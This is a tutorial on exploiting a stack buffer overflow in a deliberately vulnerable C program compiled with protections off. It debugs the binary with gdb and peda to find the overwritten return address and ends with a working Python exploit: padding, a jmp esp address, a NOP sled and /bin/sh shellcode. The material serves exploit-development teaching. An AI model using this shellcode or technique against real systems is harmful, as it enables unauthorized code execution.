
Stack overflow exploitation 

In order to illustrate how the stack overflow exploitation goes I’m going to use the following c code: 

#include <stdio.h> 

#include <stdlib.h> 

#include <string.h> 

 

static void __attribute__((unused)) not_here(void) 

{ 

  system("ls"); 

} 

void met4(int a1) 

{ 

  printf ("Last method\n"); 

} 

void met2(int a, int b) 

{  

  int c = a+b; 

} 

void met1(char *ar1) 

{ 

  char ar2[120]; 

  strcpy(ar2,ar1); 

 

  met4(5); 

} 

void met3(char *ar1) 

{ 

  met1(ar1); 

} 

int main (int argc, char* argv[]) 

{ 

  if (argc==1) 

  { 

    printf("Parameter is needed\n"); 

    return 1; 

  } 

  met2(4,6); 

  met3(argv[1]); 

  return 0; 

} 

 

The  code  contains  several  methods,  but  the  vulnerable  codepart  is  placed  in  met1  with  an 

uncontrolled strcpy. During the exploitation I will assume that we don’t have the source. The source 

is compiled with gcc with disabling all protections: 

 

 



Without the source code the only option we have is to start to use the binary. Manymeth has a very 

limited functionality, it writes a message to the console: 

 

The  first  step  is  to  force  the binary  to a  segmentation  fault error. For manymeth  is quite easy by 

providing too long input: 

 

For  finding  the  reason  of  the  segmentation  fault, we’re  going  to  use  gdb  (debugger) with  peda 

extension (Python Exploit Development Assistance for GDB) on kali linux. For the peda setup, first we 

need to download peda from a git repo and then edit the gdb settings: 

git clone https://github.com/longld/peda 

gedit /etc/gdb/gdbinit 

 

By placing the following line to gdbinit  

# System‐wide GDB initialization file. 

source ~/peda/peda.py 

gdb now has the peda extension: 

 

Peda provides several very useful functionality for debugging an application. The available 

commands can be listed by the peda command: 



 

 



Debugging the binary means that the binary is executed step by step while the virtual memory of the 

binary  can  be  analyzed  (check what  are  in  the memory  and  in  the  registers).  The  debug  can  be 

started with the start command: 

 

Peda prints out the code segment and the stack.  In the code part we can see the memory address 

where  the  current  execution  is  (this  is  0x80484ea)  and  the  next  instruction  to  be  executed  (call 

0x8048548) Executing this instruction is possible with the step command: s. Here you can find the full 

list of gdb commands: http://www.yolinux.com/TUTORIALS/GDB‐Commands.html 

The call instruction redirects the execution to another part of the code segment. It is a method call, 

so  the execution will  jump  to  the  specified address: 0x8048548.  Instead of using  s we have other 

options.  Typing  until  0x80484ef will  execute  a  series  of  commands  until  the  specified  address  is 

reached. Practically this means stepping out a whole method. Let’s enter to the function now, to see 

what  is happening during the method execution. A method can have parameters and peda tries to 

guess it. For this _x86.get_pc_thunk.ax method peda’s guessing was 0x1 for the first parameter and 

0x0 for the second and the third parameters. 

By entering to the function (s) we can execute the method instructions step by step while we can see 

the stack frame of the method. The stack frame contains the local variables and the return pointer of 

the method. This case we have no local variables but it is clear that the method exits after the second 

instruction. The first  instruction of the method  is at 0x8048548, the second  instruction  is the ret at 

0x804854b. When the program executes a ret instruction, it takes the memory address from the top 

of  the  stack  and  jumps  there.  In  this  particular  case  this  address  is  the  0x80484ef.  So  after  the 

execution of the ret the eip (extended instruction pointer register) jumps to 0x80484ef. 



 

We  can  start  the  execution  from  the  beginning with  the  start  command.  The  parameters  can be 

added after the start command: 

 

There is a possibility to execute the whole program with the run or r command. In that case we get 

the segmentation fault immediately.  

 



Unfortunately we have no concrete information where the segmentation fault happened. The stack 

is  full of  the A  series,  so probably  that was a  stack overflow, but we need  to  find which method 

produced the stack overflow. For that, we apply the following strategy: the execution goes step by 

step, but we try to step over each function (execute a whole function at once). We can do it with the 

until command or typing s to enter the function then using the finish command which executes the 

program  until  the  end  of  the  current method.  Using  this  strategy  we  step  over  the method  at 

0x8048548 and step until reaching the next call instruction (typing s continuously). The next method 

that we are reaching is the met2 at 0x8048461. 

 

By stepping out method2 (s + finish) we have no segmentation fault (see picture), so we can continue. 

 

Met3 seems to be suspicious since the first guessed argument is the A series: 



 

And that’s correct; executing the whole method3 we get the segmentation fault. So now we localized 

the vulnerability somewhere inside met3, but we must restart the debugging and execute met3 step 

by step to locate the vulnerability more precisely. 

Met3 has the _x86.get_pc_thunk.ax method again, but before that we can see the method prologue: 

 

A method prologue contains the saving of the current stack pointer (esp) to the base pointer (ebp) 

and the modification of the stack (sub esp,0x8). Inside met3 a new method came across met1: 

 

We can also see the epilogue of the method which restore the stack to the normal state (add esp, 

0x10) and the  leave + ret combination. Probably  the met1 will cause the segmentation  fault  inside 

met3 since there’s no other functionality  inside met3. This assumption  is correct, so now we know 

that met1  contains  the  vulnerable  code  and we have  to  restart  the debugging.  Let’s  jump  to  the 

beginning of met1  (using  s and  finish  from  the beginning or either we can set a breakpoint at  the 

met1 beginning by b *met1 then run the program). Met1 has x86.get_pc method too, but the most 

interesting part is on the following screenshot: 



 

Met1 calls the strcpy function that  is one possible place of stack overflow. Executing the strcpy the 

stack is now full of the AAAAs. 

 

It is also fading out that there’s another method after strcpy which is called met4. So let’s try to step 

over it. It’s fine without any error so now we are arriving to the epilogue of met1: 

 

The previous screenshot contains the problem. We have a ret  instruction, but the return address  is 

overwritten, because now we have the A series on the stack. But at  least we have the  information 

which method  caused  the  segmentation  fault  and which  part  of  the  stack  corruption  led  to  the 

segmentation  fault.  The  corrupted  stack  address  is  0xffffd17c. With  gdb  it  is  easy  to  check  any 

readable part of the virtual address space e.g. x/64x 0xffffd000 prints out 64 bytes from the specified 

address.  



 

We need to find the beginning of the AAAAs to calculate the relative distance between the beginning 

of the AAAAs and the corrupted return address. The first A is at 0xffffd0f8. 

 

The difference between 0xffffd17c and 0xffffd0f8 is 0x84 which is 132 in decimal. The exploit for this 

particular vulnerability should contain 132 pieces of something (e.g. A) then the return address. Now 

it’s time to look for an appropriate return address. In case of stack overflow we are looking for “jmp 

esp” instructions in the memory, because it redirects the execution back to the stack, so a code can 

be executed there. Fortunately peda has the right command for that: asmsearch 

 

So  the exploit  should  contain 132 padding  characters  then  the 0x0804864f address. Since  current 

processors use  little‐endian  coding  the memory addresses  should be  reversed  (python  can do  the 

trick). Finally the exploit has to contain the payload. We try out the following exploit: 

import struct 
 
ex = 'A'*132 
ex += struct.pack("<L", 0x804864f) 
ex += '\x90'*20 
ex += "\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb" 
ex += "\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89" 
ex += "\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd" 
ex += "\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f" 
ex += "\x73\x68\x4e\x41\x41\x41\x41\x42\x42\x42\x42" 
 
print ex 



 

As the screenshot shows the exploit was successful. Despite of this we can check it with the debugger: 

 

As it can be seen when met1 finishes the execution it takes the provided jmp esp address from the 

stack (0x0804864f). Jmp esp jumps back to the stack and that is how the payload is executed.  

 

 

… 



 


